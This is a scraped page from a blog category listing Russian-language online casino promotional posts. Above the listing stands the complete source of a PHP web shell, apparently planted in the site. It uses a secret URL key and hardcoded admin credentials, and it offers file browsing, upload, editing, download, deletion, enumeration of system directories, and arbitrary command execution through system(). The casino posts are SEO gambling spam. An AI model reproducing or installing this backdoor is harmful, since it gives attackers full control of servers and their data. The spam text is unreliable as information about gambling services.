if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 3000A Z – collectives.berlin

Your digital paradise.

Category: 3000A Z

  • Интернет казино — сравнение игровых возможностей

    Интернет казино — сравнение игровых возможностей Сначала нужно выбрать лучшее онлайн казино на реальные деньги. Для этого можно воспользоваться готовыми обзорами и рейтингами или последовать советам из этой статьи. Если все устраивает, остается завести профиль, пополнить баланс и начать игру. Мы прилагаем все усилия для поддержания актуальности данных, однако условия бонусных программ и правила операторов…

    Click or not…

  • Каталог казино 2026 — обзор популярных платформ

    Каталог казино 2026 — обзор популярных платформ Vodka Casino (Водка Казино) — онлайн-казино с широким выбором игровых автоматов и настольных игр. На платформе представлены популярные слоты, рулетка, блэкджек и другие азартные развлечения от известных провайдеров. В 2026 году в ассортименте должны быть не просто какие-то игры на деньги, а интересные всем. каталог казино Таким образом,…

    Click or not…

  • Каталог казино онлайн — лучшие игровые площадки

    Каталог казино онлайн — лучшие игровые площадки Каталог онлайн казино — это центр, где в одном месте собраны казино все виды, от классических площадок до свежих брендов с современными фичами. Здесь вы находите список всех казино, видите, чем одно заведение отличается от другого, и выбираете формат, который подходит именно вам. Здесь можно ознакомиться с мнением…

    Click or not…

  • Топ онлайн казино — рейтинг игровых сайтов

    Топ онлайн казино — рейтинг игровых сайтов Это позволяет поддерживать рейтинг в актуальном состоянии и предоставлять игрокам только проверенную информацию. Казино онлайн в Польше активно развиваются и предлагают широкий выбор азартных игр для совершеннолетних игроков. Все игровые платформы работают по лицензии — как польской, так и международной. Надежные онлайн-казино уделяют особое внимание удобству вывода средств.…

    Click or not…

  • Лучшие онлайн казино России 2026 — популярные казино

    Лучшие онлайн казино России 2026 — популярные казино Сомнительные площадки, в благонадежности которых нет уверенности, из рейтинга исключаются. Видеослоты казино, которые уже стали классикой гемблинга. Слоты с разными символами, такими как, фрукты, колокольчики, звезды. казино на реальные деньги Владельцы карт и счетов могут ждать выплату до 7 дней — финансовые учреждения проводят проверки. Лучшие онлайн…

    Click or not…

  • Каталог казино — игровые автоматы и слоты

    Каталог казино — игровые автоматы и слоты Помимо этого, мы проверили каким именно регулятором была выдана лицензия и можно ли доверять такой лицензии. Конечно, в наш список попадали только самые надежные заведения. Где-то к интернет играть в казино на деньги гемблингу допускаются игроки, достигшие 18-летнего возраста, а где-то с 21 года. Казино Онлайн – это…

    Click or not…

  • Рейтинг лучших казино — актуальный список популярных площадок

    Рейтинг лучших казино — актуальный список популярных площадок Есть несколько доступных поощрений, когда вы играете в онлайн казино на реальные деньги. Операторы дают бонусные деньги, которые имеют условия отыгрыша. Как только вы выполните их всех, предоставленный бонус казино превратится в реальные деньги. Некоторые операторы предлагают начать играть без депозита. казино на реальные деньги Получите до…

    Click or not…

  • Топ рейтинг онлайн казино — популярные игры

    Топ рейтинг онлайн казино — популярные игры Перед регистрацией у оператора ставок вы берете на себя ответственность за соблюдение всех возрастных и других соответствующих требований. Перед игрой вы обязаны ознакомиться с местными правилами. Optimobet.com не несет ответственности за ваши действия. Казино на реальные деньги предлагают разнообразие игр, включая игровые автоматы, блэкджек, рулетку, покер и многое…

    Click or not…

  • Топ 10 казино 2026 — актуальный список казино

    Топ 10 казино 2026 — актуальный список казино Она будет указана в общих положениях вместе с минимальным депозитом и возможной суммой вывода. Некоторые платежные системы также осуществляют дополнительные сборы, если их услуги используются для пополнения счета на игровых площадках. Клиентам рекомендуется проверять условия финансовых операторов. Наш сайт – это рейтинг лицензионных онлайн казино, предлагающих честные…

    Click or not…

  • Онлайн казино на деньги — рейтинг популярных сайтов

    Онлайн казино на деньги — рейтинг популярных сайтов К этой категории можно отнести автоматы с современным функционалом и особенностями, например, с 3Д-графикой, необычными бонусными функциями и так далее. Мы собрали для вас ответы на самые часто задаваемые вопросы про казино онлайн. После верификации выводить деньги можно только по реквизитам, принадлежащим владельцу аккаунта. Все самые важные…

    Click or not…